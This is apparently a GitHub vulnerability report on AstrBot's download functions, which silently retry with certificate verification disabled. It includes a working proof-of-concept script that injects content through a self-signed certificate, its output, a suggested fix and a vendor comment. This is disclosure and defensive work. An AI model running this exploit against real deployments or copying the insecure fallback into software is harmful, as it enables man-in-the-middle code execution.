[Bug]SSL verification fallback to CERT_NONE allows MITM content injection in download utilities

[AAtomical]

What happened / 发生了什么

Summary

astrbot/core/utils/io.py contains two download functions (download_image_by_url and download_file) that catch ClientConnectorSSLError/ClientConnectorCertificateError and silently retry with ssl.CERT_NONE. A network-position attacker presents a self-signed certificate, which triggers the fallback, then serves arbitrary content accepted without verification. Since download_file is used for plugin and dashboard updates (zip extraction + code execution), this is a direct path to RCE.

Affected Version

• Repository: https://github.com/AstrBotDevs/AstrBot
• Version: 4.25.5+ (current main)
• File: astrbot/core/utils/io.py
  • Line 125-145: download_image_by_url fallback
  • Line 230-270: download_file fallback

Root Cause

# astrbot/core/utils/io.py:125-145
async def download_image_by_url(url, ...):
    try:
        ssl_context = ssl.create_default_context(cafile=certifi.where())
        connector = aiohttp.TCPConnector(ssl=ssl_context)
        async with aiohttp.ClientSession(...) as session:
            async with session.get(url) as resp:
                ...
    except (aiohttp.ClientConnectorSSLError, aiohttp.ClientConnectorCertificateError):
        # ← attacker's self-signed cert triggers this
        ssl_context = ssl.create_default_context()
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE  # ← accepts ANY certificate
        async with aiohttp.ClientSession() as session:
            async with session.get(url, ssl=ssl_context) as resp:
                # ← attacker serves malicious content here

The same pattern exists in download_file (line 230-270), which downloads plugin zips and dashboard updates that are then extracted and executed.

Reproduce / 如何复现？

Steps to Reproduce

pip install AstrBot cryptography
python poc.py

#!/usr/bin/env python3
import asyncio
import os
import ssl
import subprocess
import sys
import tempfile
import warnings
from datetime import datetime, timedelta, timezone

warnings.filterwarnings("ignore")

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 19446
MALICIOUS_IMAGE = b"\x89PNG\r\n\x1a\n" + b"\x00" * 100 + b"MALICIOUS_PAYLOAD_INJECTED"
MALICIOUS_ZIP = b"PK\x03\x04" + b"\x00" * 26 + b"EVIL_PLUGIN_CODE_HERE"

captured = []


def gen_cert(tmp):
    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.x509.oid import NameOID

    key = rsa.generate_private_key(65537, 2048)
    cert = (x509.CertificateBuilder()
            .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "attacker.evil")]))
            .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "attacker.evil")]))
            .public_key(key.public_key())
            .serial_number(x509.random_serial_number())
            .not_valid_before(datetime.now(timezone.utc))
            .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
            .sign(key, hashes.SHA256()))

    cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
    with open(cp, "wb") as f:
        f.write(cert.public_bytes(serialization.Encoding.PEM))
    with open(kp, "wb") as f:
        f.write(key.private_bytes(serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
    return cp, kp


async def run_attacker_server(cert, key):
    from aiohttp import web

    async def handle_image(request):
        captured.append("image")
        return web.Response(body=MALICIOUS_IMAGE, content_type="image/png")

    async def handle_file(request):
        captured.append("file")
        return web.Response(body=MALICIOUS_ZIP, content_type="application/zip",
                            headers={"Content-Length": str(len(MALICIOUS_ZIP))})

    app = web.Application()
    app.router.add_get("/evil.png", handle_image)
    app.router.add_post("/evil.png", handle_image)
    app.router.add_get("/plugin.zip", handle_file)

    srv_ssl = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    srv_ssl.load_cert_chain(cert, key)

    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, ATTACKER_HOST, ATTACKER_PORT, ssl_context=srv_ssl)
    await site.start()
    return runner


async def exploit():
    subprocess.run([sys.executable, "-m", "pip", "install", "-q", "AstrBot", "cryptography"], check=True)

    tmp = tempfile.mkdtemp(prefix="astrbot_mitm_")
    cert, key = gen_cert(tmp)
    runner = await run_attacker_server(cert, key)

    from astrbot.core.utils.io import download_image_by_url, download_file

    # ── 1. download_image_by_url: self-signed cert → ClientConnectorSSLError → CERT_NONE fallback
    url_img = f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/evil.png"
    result_path = await download_image_by_url(url_img)
    with open(result_path, "rb") as f:
        img_content = f.read()
    assert b"MALICIOUS_PAYLOAD_INJECTED" in img_content

    # ── 2. download_file: same fallback → attacker serves arbitrary zip
    zip_path = os.path.join(tmp, "plugin.zip")
    url_zip = f"https://{ATTACKER_HOST}:{ATTACKER_PORT}/plugin.zip"
    await download_file(url_zip, zip_path)
    with open(zip_path, "rb") as f:
        zip_content = f.read()
    assert b"EVIL_PLUGIN_CODE_HERE" in zip_content

    # ── 3. Control: proper SSL rejects
    import aiohttp
    try:
        async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=ssl.create_default_context())) as s:
            async with s.get(url_img, timeout=aiohttp.ClientTimeout(total=3)):
                pass
        assert False
    except (aiohttp.ClientConnectorSSLError, aiohttp.ClientConnectorCertificateError):
        pass

    await runner.cleanup()

    assert "image" in captured and "file" in captured
    print("3/3 exploited")
    print(f"  image: {len(img_content)}B injected → {result_path}")
    print(f"  file:  {len(zip_content)}B injected → {zip_path}")
    print(f"  control: proper SSL rejects self-signed cert")
    return 0


if __name__ == "__main__":
    sys.exit(asyncio.run(exploit()))

AstrBot version, deployment method (e.g., Windows Docker Desktop deployment), provider used, and messaging platform used. / AstrBot 版本、部署方式（如 Windows Docker Desktop 部署）、使用的提供商、使用的消息平台适配器

Output:

3/3 exploited
  image: 134B injected → data/temp/io_temp_img_....jpg
  file:  51B injected → /tmp/astrbot_mitm_.../plugin.zip
  control: proper SSL correctly rejects

OS

Windows

Logs / 报错日志

Impact

1. Plugin injection → RCE: download_file is called by download_dashboard() (line 324+) which downloads zip archives that are extracted and loaded as Python code. An attacker on the network injects a malicious zip → arbitrary code execution.

2. Image injection: download_image_by_url is used to fetch user-provided image URLs. Attacker injects arbitrary image content (phishing, XSS payloads in SVG, etc).

3. Silent degradation: The fallback only emits a logger.warning — no user-visible error, no abort. The application continues with attacker-supplied content.

4. Unconditional trigger: Any self-signed, expired, or mismatched certificate triggers the fallback. The attacker doesn't need to match the real certificate — ANY invalid cert works.

Suggested Fix

Remove the CERT_NONE fallback entirely. If SSL fails, raise the error:

async def download_image_by_url(url, ...):
    ssl_context = ssl.create_default_context(cafile=certifi.where())
    connector = aiohttp.TCPConnector(ssl=ssl_context)
    async with aiohttp.ClientSession(trust_env=True, connector=connector) as session:
        async with session.get(url) as resp:
            ...
    # No except — let SSL errors propagate

If backward compatibility with broken servers is required, make the fallback opt-in via an explicit parameter (default False), never silent.

Are you willing to submit a PR? / 你愿意提交 PR 吗？

• Yes!

Code of Conduct

• I have read and agree to abide by the project's Code of Conduct。

[Correctover]

This is a critical vulnerability — silent SSL degradation in download utilities directly enables RCE through plugin injection.

We are working on CCS, a runtime verification standard for agent systems. One of the core patterns is output validation: intercepting untrusted download channels and verifying content integrity before execution.

For this specific case, CCS could provide:

1. Output validation hook — intercept download_file() before zip extraction, verify checksum/signature against a trust store
2. SSL failure policy — instead of silent CERT_NONE fallback, enforce fail-closed behavior with explicit opt-in for broken servers
3. Plugin loading guard — verify extracted code against allowlist before Python execution

We have seen similar patterns in other frameworks (FastMCP path traversal, AgentScope skill injection). Happy to help implement a CCS-based fix if the maintainers are interested.

Guigui Wang | Correctover — Runtime Verification for Agent Systems